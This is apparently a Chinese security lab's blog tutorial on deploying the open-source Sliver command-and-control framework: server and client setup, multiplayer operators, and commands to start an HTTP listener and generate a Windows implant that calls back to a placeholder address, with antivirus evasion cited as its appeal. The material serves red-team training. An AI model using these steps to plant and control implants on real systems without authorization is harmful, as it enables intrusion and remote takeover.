点击蓝字
关注我们
日期:2024-01-10 作者:nothing 介绍:介绍一下 Sliver C2
如何部署与基础用法。
随着技术的不断发展,很多常规C2
工具已经被各大安全厂商分析研究透彻,流量特征被安全设备登记在册,很多时候已经无法满足渗透测试的需要,生成的载荷落地即被杀,流量也直接被安全设备识别拦截,于是需要不断寻找新的跨平台工具,在某次冲浪过程中,发现了Sliver
的存在,接下来介绍一下这款工具的部署及使用方法。
Sliver
是一个命令和控制(C2
)系统,专为渗透测试人员、红队和蓝队制作。它生成的植入物几乎可以在所有架构上运行,并通过中央服务器安全地管理这些连接。Sliver
支持多种回调协议,包括DNS、Mutual TLS (mTLS)、WireGuard 和 HTTP(S)
,并使用每个二进制非对称加密密钥进行动态编译。
项目地址:https://github.com/BishopFox/Sliver
文档:https://github.com/BishopFox/Sliver/wiki
优势特点:
1、免杀能力极强
2、模块化,提供了多种扩展,如armory可以安装各种第三方工具(BOF、.NET 工具等)
3、多操组员模式
4、开源
5、支持多平台(Linux, Windows and MacOS)
Server
控制台
Server
控制台是主界面,在运行Sliver
服务器可执行文件时启动。
Sliver Server
Sliver
用于与服务器交互的主接口是gRPC
接口,通过该接口可以实现所有功能。
默认情况,服务器只启动只能从Server
控制台与之通信的内存gRPC
监听器。不过,gRPC
接口也可以通过双向TLS(mTLS)
向网络公开(即多人模式)。
Client
控制台
Client
控制台是用于与Sliver Server
交互的主要用户界面。注意,Server
控制台中的大多数代码实际上是Client
控制台。Client
控制台还可以编译成单独的客户端二进制文件Sliver
客户端,该客户端通常用于连接到“多用户”gRPC
网络监听器。
Implant
在希望远程访问的目标系统上运行的实际恶意程序。
两种操作模式:
beacon
:类似于cs
的beacon
,随机时间间隔回连server
。
session
:类似于msf
的上线方式,保持连接。
wget https://github.com/BishopFox/Sliver/releases/download/v1.5.41/Sliver-server_linux #下载服务端程序
sudo apt-get install mingw-w64 binutils-mingw-w64 g++-mingw-w64 #安装依赖
chmod +x Sliver-server_linux
sudo ./Sliver-server_linux
官方建议 Server
最好部署在 Linux
上(不建议Windows
)
直接找到对应版本下载Server
和Client
版本即可
当出现如下界面,就是部署成功了
如果是单用户,到这步已经完成了安装,可以直接在终端执行相关命令(类似本地安装的msf
)。但如果是多client
协同(类似cs
的多方协同)则还需要进行其他的配置。
以http
通信为例,在获取目标初始权限后,创建监听器,生成对应架构的载荷,上传执行
# 启动
./Sliver-server_linux
# 创建监听器
http -l 1080
# 生成Implant/Payload
generate --http http://XXXX:1080 --os windows
放到机器上运行成功
查看服务端的回连信息
接下来就可以使用后续命令继续进行后渗透的其他工作了。
new-operator --name nothing --lhost <Server IP> ## 生成配置文件,新建一个client
multiplayer ## 启动多用户
这里我只生成了一个用户,如果有多个用户,修改name
的值重新生成就行了。需要注意的是,server
端默认监听的端口为31337
。如果要修改的话,在vim ~/.Sliver/configs/server.json
中修改。
注意:C2
服务器的地址不能写域名,只能用IP
。
将配置文件保存下来,本地使用client
导入
server
端显示有用户加入
注意:这样做有个很大的弊端,client
连接上以后,生成木马的操作要在server
端运行,go
编译木马时,cpu
飙升,如果server
端配置不够,很容易cpu
跑满导致卡死,所以c2
服务器协作的话,对server
服务器的配置要求比较高
以上就是Sliver
工具的简单配置过程,通过上面的配置,可以快速上手Sliver
工具,并进行协作使用。
免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。
点此亲启
ABOUT US
宸极实验室隶属山东九州信泰信息科技股份有限公司,致力于网络安全对抗技术研究,是山东省发改委认定的“网络安全对抗关键技术山东省工程实验室”。团队成员专注于 Web 安全、移动安全、红蓝对抗等领域,善于利用黑客视角发现和解决网络安全问题。
团队自成立以来,圆满完成了多次国家级、省部级重要网络安全保障和攻防演习活动,并积极参加各类网络安全竞赛,屡获殊荣。
对信息安全感兴趣的小伙伴欢迎加入宸极实验室,关注公众号,回复『招聘』,获取联系方式。